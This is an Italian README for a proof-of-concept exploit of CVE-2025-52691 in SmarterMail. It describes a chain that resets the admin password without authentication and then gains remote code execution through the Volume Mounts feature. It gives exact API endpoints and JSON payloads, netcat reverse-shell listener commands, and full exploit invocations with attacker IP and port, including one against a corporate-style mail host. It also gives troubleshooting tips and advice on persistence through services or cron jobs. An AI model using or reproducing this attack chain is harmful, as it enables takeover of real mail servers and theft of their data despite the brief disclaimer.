
CVE-2025-52691 PoC: Basato sull'articolo WT-2026-0001 di watchtowr riguardante un exploit di bypass dell'autenticazione, questo è uno script di attacco funzionale in Python.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi!
Questo exploit combina due vulnerabilità critiche in SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
L'exploit esegue un attacco in 3 fasi:
Fase 1: Bypass di autenticazione tramite WT-2026-0001
Fase 2: Login amministratore con la nuova password
Fase 3: RCE tramite la funzionalità Volume Mounts
# Installare Python 3 (se non disponibile)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Installare netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Dipendenze Python (se necessario)
pip3 install requests
# Rendi eseguibile
chmod +x run_exploit.sh
# Configurazione automatica
./run_exploit.sh --auto
# Oppure configurazione interattiva
./run_exploit.sh
# Imposta il listener (in un terminale)
nc -lvnp 4444
# Esegui l'exploit (in un secondo terminale)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Identificazione del target
# Controlla l'host di destinazione
curl -I http://192.168.1.100:9998
# Identifica la versione di SmarterMail
# (Di solito nella pagina di login o negli header HTTP)
Impostazione del listener
# Nel Terminale 1: Avvia il listener
nc -lvnp 4444
# Il listener deve essere in esecuzione prima di eseguire l'exploit
Validazione della rete
# Assicurati che la connessione tra attaccante e target sia possibile
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# Con lo script runner (consigliato)
./run_exploit.sh
# Oppure direttamente con Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Connessione alla shell
# Nel terminale del listener, dovrebbe apparire una connessione
# Dovresti avere una shell SYSTEM
Verifica l'accesso
# Nella shell ottenuta
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Accesso persistente
# Opzionale: Imposta la persistenza
# Windows: Installa come servizio
# Linux: Cron job o servizio systemd
# Terminale 1: Avvia il listener
nc -lvnp 4444
# Terminale 2: Esegui l'exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Endpoint: POST /api/v1/auth/force-reset-password
Payload:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Risposta di successo:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Endpoint: POST /api/v1/auth/login
Payload:
{
"username": "admin",
"password": "NewPassword123!@#"
}
Endpoint: POST /api/v1/settings/volume-mounts
Payload:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Errore: "Connection refused"
# Soluzione: Controlla il firewall e apri la porta
sudo ufw allow 9998
# Errore: "Connection failed"
# Soluzione: Controlla la configurazione del listener
nc -lvnp 4444
# Errore: "Login failed"
# Soluzione: Controlla la versione del target (deve essere vulnerabile)
# Errore: "Volume mount creation failed"
# Soluzione: Controlla i privilegi amministrativi, sistema target
Abilita la modalità debug per output dettagliato:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Ricorda: Da grandi poteri derivano grandi responsabilità!
| Parametro | Descrizione | Valore predefinito |
|---|
-H, --host | Host target (obbligatorio) | - |
-P, --port | Porta target | 9998 |
-A, --attacker-ip | IP dell'attaccante per reverse shell (obbligatorio) | - |
-p, --attacker-port | Porta dell'attaccante per reverse shell (obbligatorio) | - |
-d, --debug | Abilita la modalità debug | False |
--admin-username | Nome utente amministratore | admin |
--new-password | Nuova password amministratore | NewPassword123!@# |
| Parametro | Descrizione |
|---|
-t, --target | Host target |
-p, --port | Porta target |
-a, --attacker-ip | IP dell'attaccante |
-l, --listener-port | Porta del listener |
-n, --new-password | Nuova password amministratore |
-u, --admin-user | Nome utente amministratore |
-d, --debug | Modalità debug |
--auto | Modalità automatica |